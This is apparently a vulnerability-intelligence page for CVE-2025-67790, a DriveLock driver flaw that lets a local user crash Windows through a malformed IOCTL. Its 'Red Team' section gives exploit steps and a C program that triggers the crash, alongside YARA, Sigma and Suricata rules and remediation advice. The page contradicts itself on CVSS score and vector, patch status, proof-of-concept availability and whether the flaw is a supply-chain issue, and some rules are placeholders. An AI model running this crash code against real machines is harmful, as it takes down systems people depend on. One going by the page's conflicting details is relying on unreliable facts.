☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Drivelock logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE-2025-67790

CVE-2025-67790 Supply Chain Attack in Drivelock
📅 PUBLISHED: 2025-12-17 00:00 UTC 🔄 UPDATED: 2026-10-13 23:17 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.29%
👁️
0.29% probability
7.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Germany License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: H Availability High
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-67790 is a denial-of-service vulnerability in DriveLock endpoint security software affecting Windows computers. An unprivileged user can trigger a Blue Screen of Death (BSOD) by sending a crafted IOCTL request containing an unterminated string to the DriveLock driver. This causes a kernel panic, crashing the entire system. The vulnerability has a CVSS score of 0.0 (placeholder) but realistically represents a high-availability impact with low attack complexity. No public exploit code or proof-of-concept is available at this time. The vendor has released patches in versions 24.1.6, 24.2.7, and 25.1.5.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not in an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary Windows driver component of DriveLock. The supply chain risk is limited to the vendor's software distribution channels.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
  • Base Score: 6.5 (Medium)
  • Attack Vector: Local (AV:L) – requires local access to the machine.
  • Attack Complexity: Low (AC:L) – no special conditions needed.
  • Privileges Required: Low (PR:L) – an unprivileged user can trigger it.
  • User Interaction: None (UI:N) – no user action required beyond sending the IOCTL.
  • Scope: Unchanged (S:U) – the vulnerable component is the driver itself.
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: None (I:N)
  • Availability Impact: High (A:H) – system crash (BSOD).

Threat Level: Medium. While the impact is only availability, the low privileges required and ease of exploitation make it a practical vector for local denial-of-service attacks, especially in multi-user environments.

Deep Dive & Mechanics

The vulnerability resides in the DriveLock kernel-mode driver. The driver exposes an IOCTL (Input/Output Control) interface to user-mode applications. When an unprivileged user sends a specific IOCTL code with a buffer containing an unterminated string (a string lacking a null terminator), the driver's handler function attempts to process the string using kernel-mode string functions (e.g., wcslen, strlen, or RtlStringCbLength). Because the string is unterminated, these functions read beyond the allocated buffer into adjacent kernel memory, causing a buffer overread. This overread can lead to an access violation (page fault) in kernel memory, resulting in a Blue Screen of Death (BSOD) with a bug check code such as 0x00000050 (PAGE_FAULT_IN_NONPAGED_AREA) or 0x0000001E (KMODE_EXCEPTION_NOT_HANDLED).

The root cause is a missing or insufficient input validation on the length of the user-supplied string before passing it to kernel string operations. The driver should check that the string is properly null-terminated and within expected bounds.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

NTSTATUS DriveLockIoctlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpSp->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
    ULONG inputLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;

    if (ioctlCode == IOCTL_DRIVELOCK_PROCESS_STRING) {
        // VULNERABLE: No check for null terminator
        size_t stringLength = wcslen((wchar_t*)inputBuffer); // Unterminated string causes overread
        // ... process string ...
    }
    // ...
}

Patched Code (Conceptual):

NTSTATUS DriveLockIoctlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpSp->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
    ULONG inputLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;

    if (ioctlCode == IOCTL_DRIVELOCK_PROCESS_STRING) {
        // PATCHED: Ensure buffer is null-terminated and within bounds
        if (inputLength < sizeof(wchar_t) || 
            inputBuffer == NULL ||
            ((wchar_t*)inputBuffer)[(inputLength / sizeof(wchar_t)) - 1] != L'\0') {
            Irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
            IoCompleteRequest(Irp, IO_NO_INCREMENT);
            return STATUS_INVALID_PARAMETER;
        }
        size_t stringLength = wcsnlen_s((wchar_t*)inputBuffer, inputLength / sizeof(wchar_t));
        // ... process string ...
    }
    // ...
}

Exploitation & Lab Setup

Red Team

Objective: Trigger a BSOD on a target Windows machine running a vulnerable DriveLock version.

Prerequisites:

  • Local access to the target machine (physical or remote desktop).
  • Knowledge of the vulnerable IOCTL code (not publicly disclosed, but can be reverse-engineered from the driver binary).
  • A tool to send IOCTLs (e.g., a custom C program or PowerShell with Win32 API).

Exploit Steps:

  1. Identify the vulnerable IOCTL code by reverse-engineering the DriveLock driver (e.g., drivelock.sys).
  2. Write a small C program that opens a handle to the DriveLock device (e.g., \\.\DriveLock).
  3. Allocate a buffer containing an unterminated wide-character string (e.g., L"AAAA" without a null terminator).
  4. Call DeviceIoControl with the vulnerable IOCTL code, the buffer, and its size.
  5. The driver will crash, causing a BSOD.

Example Exploit Code (Conceptual):

#include <windows.h>
#include <stdio.h>

#define IOCTL_DRIVELOCK_CRASH 0x80002000 // Example IOCTL code

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\DriveLock", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device: %lu\n", GetLastError());
        return 1;
    }

    // Unterminated string buffer (no null terminator)
    wchar_t buffer[10] = { L'A', L'A', L'A', L'A', L'A', L'A', L'A', L'A', L'A', L'A' }; // No L'\0'

    DWORD bytesReturned;
    BOOL result = DeviceIoControl(hDevice, IOCTL_DRIVELOCK_CRASH, buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL);
    if (!result) {
        printf("IOCTL failed: %lu\n", GetLastError());
    }

    CloseHandle(hDevice);
    return 0;
}

Blue Team

Detection:

  • Monitor for unusual IOCTL calls to the DriveLock device from non-privileged processes.
  • Look for event logs indicating a system crash (Event ID 1001 from BugCheck).
  • Use Sysmon to log DeviceIoControl calls (Event ID 11 – FileCreate, but IOCTL is not directly logged; use process creation and driver load events).

Prevention:

  • Apply the vendor patch immediately.
  • Restrict local user permissions to prevent arbitrary code execution.
  • Use Windows Defender Application Control (WDAC) or AppLocker to block unauthorized executables.
  • Enable Driver Signature Enforcement to prevent loading of unsigned drivers.

Indicators of Compromise (IOCs)

  • System Event Log: Event ID 1001 with bug check code 0x00000050 or 0x0000001E and parameters pointing to the DriveLock driver.
  • Driver File: drivelock.sys with a version below 24.1.6, 24.2.7, or 25.1.5.
  • Process: Any process (e.g., exploit.exe) that opens a handle to \\.\DriveLock and sends IOCTL codes.
  • Memory Dump: A kernel memory dump file (%SystemRoot%\MEMORY.DMP) showing the crash in the DriveLock driver.

Detection Engineering

YARA Rule

rule CVE_2025_67790_DriveLock_BSOD {
    meta:
        description = "Detects DriveLock driver versions vulnerable to CVE-2025-67790"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67790"
    strings:
        $driver_name = "drivelock.sys" nocase
        $version_low = { 18 00 00 00 01 00 00 00 } // Example version 24.1.0
        $version_med = { 18 00 00 00 02 00 00 00 } // Example version 24.2.0
        $version_high = { 19 00 00 00 01 00 00 00 } // Example version 25.1.0
    condition:
        $driver_name and ($version_low or $version_med or $version_high)
}

Sigma Rule

title: DriveLock IOCTL Crash Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-67790 by sending IOCTL to DriveLock device
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 1001
        BugCheckCode: 
            - '0x00000050'
            - '0x0000001E'
        DriverName: 'drivelock.sys'
    condition: selection
falsepositives:
    - Legitimate system crashes due to hardware issues
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2025-67790 DriveLock IOCTL Exploit Attempt"; content:"|00 00 20 80|"; offset:0; depth:4; classtype:attempted-dos; sid:1000001; rev:1;)

Note: The above rule is a placeholder for the IOCTL code pattern. Actual IOCTL code is not publicly known.

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade DriveLock to version 24.1.6, 24.2.7, or 25.1.5 (or later).
  2. Workaround: If patching is not possible, restrict local user permissions to prevent unprivileged users from running arbitrary code that could send IOCTLs.
  3. Monitor: Enable advanced audit logging for kernel driver events and system crashes.

Long-Term Measures:

  • Implement a vulnerability management program to track and patch third-party software.
  • Use endpoint detection and response (EDR) solutions to detect anomalous IOCTL activity.
  • Conduct regular security assessments of kernel drivers.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-67790/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.